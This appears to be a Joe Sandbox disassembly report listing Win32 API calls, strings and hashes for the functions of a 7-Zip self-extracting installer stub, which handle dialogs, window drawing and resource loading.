GetWindow.USER32(?,00000005), ref: 0040906A
GetWindow.USER32(?,00000005), ref: 00409082
GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,00409240), ref: 004090E2
LoadIconW.USER32(00000000), ref: 004090E9
GetDlgItem.USER32(?,000004B1), ref: 00409108
SendMessageW.USER32(00000000), ref: 0040910B

Part of subcall function 00408270: GetDlgItem.USER32(?,?), ref: 0040827A
Part of subcall function 00408270: GetWindowTextLengthW.USER32(00000000), ref: 00408281

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Window$Item$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
String ID:
API String ID: 3694754696-0
Opcode ID: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction ID: 99f397414dc97442f2ad5b2e660166812613d2f2543b201c56f9d92a48738ce2
Opcode Fuzzy Hash: e6b773451116d13ff29ab79287a6f607863c90a398c86fb93464d41f8a12962b
Instruction Fuzzy Hash: B971E6703047056BEA216B21DD4AF2B3659EF84714F10443EF652BA2E3CFBDAC018A5E

Function 004021A8 Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON

Download Yara Rule

APIs

GetWindowDC.USER32(00000000), ref: 004021B4
GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
GetObjectW.GDI32(?,00000018,?), ref: 00402208
MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
CreateCompatibleDC.GDI32(?), ref: 0040222B
CreateCompatibleDC.GDI32(?), ref: 00402232
SelectObject.GDI32(00000000,?), ref: 00402240
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
SelectObject.GDI32(00000000,00000000), ref: 00402256
SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
SelectObject.GDI32(00000000,?), ref: 00402293
SelectObject.GDI32(00000000,?), ref: 00402299
DeleteDC.GDI32(00000000), ref: 004022A2
DeleteDC.GDI32(00000000), ref: 004022A5
ReleaseDC.USER32(00000000,?), ref: 004022AC
ReleaseDC.USER32(00000000,?), ref: 004022BB
CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 004022C8

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
String ID:
API String ID: 3462224810-0
Opcode ID: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction ID: 3b0073103a1e3377af01ca77c53c0656b208625dbf3d379900f4631a354f9c66
Opcode Fuzzy Hash: 3220a658d56a4ac9a5ca2fef4fc815231d73787dff14446d5a04d435e3e7e9ea
Instruction Fuzzy Hash: DB314A76D01208BFDF115FE19D48EEF7F79EB48760F108066FA04B61A0C6794A60EB66

Function 004022D3 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 004022E5
lstrcmpiA.KERNEL32(?,STATIC), ref: 004022FC
GetWindowLongW.USER32(?,000000F0), ref: 0040230F
GetMenu.USER32(?), ref: 00402324

Part of subcall function 004020BF: GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
Part of subcall function 004020BF: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
Part of subcall function 004020BF: SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
Part of subcall function 004020BF: LoadResource.KERNEL32(00000000,00000000), ref: 00402116
Part of subcall function 004020BF: LockResource.KERNEL32(00000000), ref: 00402121

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00402356
memcpy.MSVCRT(00000000,00000000,00000010), ref: 00402363
CoInitialize.OLE32(00000000), ref: 0040236C
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00402378
OleLoadPicture.OLEAUT32(?,00000000,00000000,0041C434,?), ref: 0040239D
GlobalFree.KERNEL32(00000000), ref: 004023AD

Part of subcall function 004021A8: GetWindowDC.USER32(00000000), ref: 004021B4
Part of subcall function 004021A8: GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
Part of subcall function 004021A8: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
Part of subcall function 004021A8: GetObjectW.GDI32(?,00000018,?), ref: 00402208
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 0040222B
Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 00402232
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402240
Part of subcall function 004021A8: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
Part of subcall function 004021A8: SelectObject.GDI32(00000000,00000000), ref: 00402256
Part of subcall function 004021A8: SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
Part of subcall function 004021A8: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
Part of subcall function 004021A8: GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402293
Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402299
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A2
Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A5
Part of subcall function 004021A8: ReleaseDC.USER32(00000000,?), ref: 004022AC

GetObjectW.GDI32(00000000,00000018,?), ref: 004023DF
SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 004023F3
SendMessageW.USER32(00000010,00000172,00000000,?), ref: 00402405
GlobalFree.KERNEL32(00000000), ref: 0040241A

Strings

STATIC, xrefs: 004022F3
IMAGES, xrefs: 0040232E

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction ID: 12319829fe5b29bb351e3d23e86017266b1b8e93f03e65421de7465a1357d20e
Opcode Fuzzy Hash: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
Instruction Fuzzy Hash: 54419A31901218BFCB129FA1CC4CDEEBFB9FF09715B008076F905A62A0D7798A51DB69

Function 004092C1 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetDlgItem.USER32(?,000004B8), ref: 004092EE
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004092FD
GetDlgItem.USER32(?,000004B5), ref: 00409344
GetWindowLongW.USER32(00000000,000000F0), ref: 00409349
GetDlgItem.USER32(?,000004B5), ref: 00409359
SetWindowLongW.USER32(00000000), ref: 0040935C
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00409382
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00409394
GetDlgItem.USER32(?,000004B4), ref: 0040939E
SetFocus.USER32(00000000), ref: 004093A1
SetTimer.USER32(?,00000001,00000000,00000000), ref: 004093D0
CoCreateInstance.OLE32(0041C464,00000000,00000001,0041BD6C,?), ref: 004093F4
GetDlgItem.USER32(?,00000002), ref: 00409411
IsWindow.USER32(00000000), ref: 00409414
GetDlgItem.USER32(?,00000002), ref: 00409424
EnableWindow.USER32(00000000), ref: 00409427
GetDlgItem.USER32(?,000004B5), ref: 0040943B
ShowWindow.USER32(00000000), ref: 0040943E

Part of subcall function 0040819E: GetDlgItem.USER32(?,000004B6), ref: 004081AC

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
String ID:
API String ID: 1057135554-0
Opcode ID: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction ID: 5db8082ad3932120c1d3ad580c4d4a8d12b10d7a787853330903dc21ac74032f
Opcode Fuzzy Hash: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction Fuzzy Hash: E54184B0605708AFDA246F22DD49F6B7B9DFF44B04F00843EF955A62E1CB79A850CA1D

Function 00407A58 Relevance: 24.3, APIs: 16, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 00407A80
GetWindowLongW.USER32(00000000,000000F0), ref: 00407A85
GetDlgItem.USER32(?,000004B4), ref: 00407ABC
GetWindowLongW.USER32(00000000,000000F0), ref: 00407AC1
GetSystemMetrics.USER32(00000010), ref: 00407B43
GetSystemMetrics.USER32(00000011), ref: 00407B49
GetSystemMetrics.USER32(00000008), ref: 00407B50
GetSystemMetrics.USER32(00000007), ref: 00407B57
GetParent.USER32(?), ref: 00407B7B
GetClientRect.USER32(00000000,?), ref: 00407B8D
ClientToScreen.USER32(?,?), ref: 00407BA0
SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C06
GetClientRect.USER32(?,?), ref: 00407CA0

Part of subcall function 00407A29: GetDlgItem.USER32(?,?), ref: 00407A47
Part of subcall function 00407A29: SetWindowPos.USER32(00000000), ref: 00407A4E

ClientToScreen.USER32(?,?), ref: 00407BA9

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetSystemMetrics.USER32(00000008), ref: 00407D25
GetSystemMetrics.USER32(00000007), ref: 00407D2C

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction ID: 68cc850d19f91a6f8b6e213b01393e3a0b6efc74fec8c50de4b66a5980513343
Opcode Fuzzy Hash: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
Instruction Fuzzy Hash: 30A13870E04209AFDB14DFBDCD85AAEBBF9EF48704F14452AE605F2281D678F9018B65

Function 004036F6 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,0041E3F0,00000000), ref: 0040377F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,0041E3F0,00000000), ref: 00403787
??3@YAXPAX@Z.MSVCRT(00404A6A,?), ref: 004039AD

Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 00402996
Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 0040299D

??3@YAXPAX@Z.MSVCRT(00404A6A,?,?,00000000,00000000,0041E3F0,00000000), ref: 004039DA

Strings

{\rtf, xrefs: 0040387A, 0040388F
SetEnvironment, xrefs: 00403909

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@
String ID: SetEnvironment${\rtf
API String ID: 613200358-318139784
Opcode ID: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction ID: 401acfcb82d7e6738f93d8480f5cee0d093a2887585a601c22b507f4e5910529
Opcode Fuzzy Hash: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
Instruction Fuzzy Hash: B991C372900108ABDF11AFD5D941AEEBBB8AF14309F2480BBE841772D2D7785B06DB59

Function 0041945F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__set_app_type.MSVCRT ref: 0041948C
__p__fmode.MSVCRT ref: 004194A1
__p__commode.MSVCRT ref: 004194AF
__setusermatherr.MSVCRT ref: 004194DB
_initterm.MSVCRT ref: 004194F1
__getmainargs.MSVCRT ref: 00419514
_initterm.MSVCRT ref: 00419524
GetStartupInfoA.KERNEL32(?), ref: 00419563
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00419587
exit.MSVCRT ref: 00419597
_XcptFilter.MSVCRT ref: 004195A9

Strings

pA, xrefs: 0041950C, 0041950F

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: pA
API String ID: 801014965-794713698
Opcode ID: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction ID: 5929b0b6314edc43fbf3f3d2a0fc95e577a76ca797df3ab901b2fe2a182a5e0d
Opcode Fuzzy Hash: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
Instruction Fuzzy Hash: 1141ADB2D41344BFDB22CFA5DC55AEABBB9FB09710F20012BE841A3291D7785D81CB59

Function 00407F86 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00407F94
GetWindowLongW.USER32(00000000), ref: 00407F9B
DefWindowProcW.USER32(?,?,?,?), ref: 00407FB1
CallWindowProcW.USER32(?,?,?,?,?), ref: 00407FCE
GetSystemMetrics.USER32(00000031), ref: 00407FE0
GetSystemMetrics.USER32(00000032), ref: 00407FE7
GetWindowDC.USER32(?), ref: 00407FF9
GetWindowRect.USER32(?,?), ref: 00408006
DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 0040803A
ReleaseDC.USER32(?,00000000), ref: 00408042

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction ID: 8ffa6a621c4839b38abe7fa2179ce9be6ee40ef55f84cce8d9fec75f1bbbc175
Opcode Fuzzy Hash: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
Instruction Fuzzy Hash: 8D214F7650021ABFCB019FB8DD48EEF3B69FB08351F004525FA11E2291CB35D920CB65

Function 00409466 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004091A7: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
Part of subcall function 004091A7: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
Part of subcall function 004091A7: GetDlgItem.USER32(?,000004B7), ref: 00409222
Part of subcall function 004091A7: SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

GetDlgItem.USER32(?,000004B6), ref: 004094A8
DestroyWindow.USER32(00000000), ref: 004094AB
CreateWindowExA.USER32(00000200,Edit,0041A840,500100A0,?,?,?,?,?,000004B6,00000000,00000000), ref: 004094E1
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 004094F1
GetDlgItem.USER32(?,000004B6), ref: 004094FE
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409508
GetDlgItem.USER32(?,000004B6), ref: 00409512
SetFocus.USER32(00000000), ref: 00409515

Strings

Edit, xrefs: 004094D7

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystem
String ID: Edit
API String ID: 2563414232-554135844
Opcode ID: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction ID: 4d71b540c7600c41684bbba3335aa98688d5166c257b7e93b864b054f1ea387c
Opcode Fuzzy Hash: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
Instruction Fuzzy Hash: DA116A71A00204BFEB11ABE5DD49FAFBBBCEF48B00F104429B201F61A1C675AD50876D

Function 00403E98 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403EDF

Part of subcall function 00402D03: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00402D76

??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403F05
wsprintfA.USER32 ref: 00403F27
wsprintfA.USER32 ref: 00403F54

Strings

;!@InstallEnd@!, xrefs: 00403EB3
:%hs, xrefs: 00403F21
:Language:%u, xrefs: 00403F4E
;!@Install@!UTF-8!, xrefs: 00403EA4

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$wsprintf
String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 2704270482-695273242
Opcode ID: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction ID: 886d926ed7ba0351d4e9ba57da7cb0629939e873fb03075975f52044c447bd08
Opcode Fuzzy Hash: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
Instruction Fuzzy Hash: 15218F71A005187BDB05EAA59C86EFE73ADAB48704F14402EF504E31D1CB7DAA068799

Function 0040778B Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040779F
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077B2
GetDlgItem.USER32(?,000004B4), ref: 004077BC
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077C4
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004077D4
GetDlgItem.USER32(?,?), ref: 004077DD
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004077E5
GetDlgItem.USER32(?,?), ref: 004077EE
SetFocus.USER32(00000000,?,?,00000000,00408726,000004B3,00000000,?,000004B3), ref: 004077F1

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction ID: d34367ada3e0903658dac9af1ca1aef10e4e5856eabac84c2cebdb26553fe681
Opcode Fuzzy Hash: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
Instruction Fuzzy Hash: A4F04F712403087BEA216B61DD86F9BBB5EDF80B54F018425F354661F0CBF7AC209A29

Function 00407E01 Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,0041E470,00000160), ref: 00407E20
SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 00407E3F
GetDC.USER32(00000000), ref: 00407E4A
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00407E56
MulDiv.KERNEL32(?,00000048,00000000), ref: 00407E65
ReleaseDC.USER32(00000000,?), ref: 00407E73
GetModuleHandleW.KERNEL32(00000000), ref: 00407E9B
DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00007643), ref: 00407ED0

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
String ID:
API String ID: 2693764856-0
Opcode ID: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
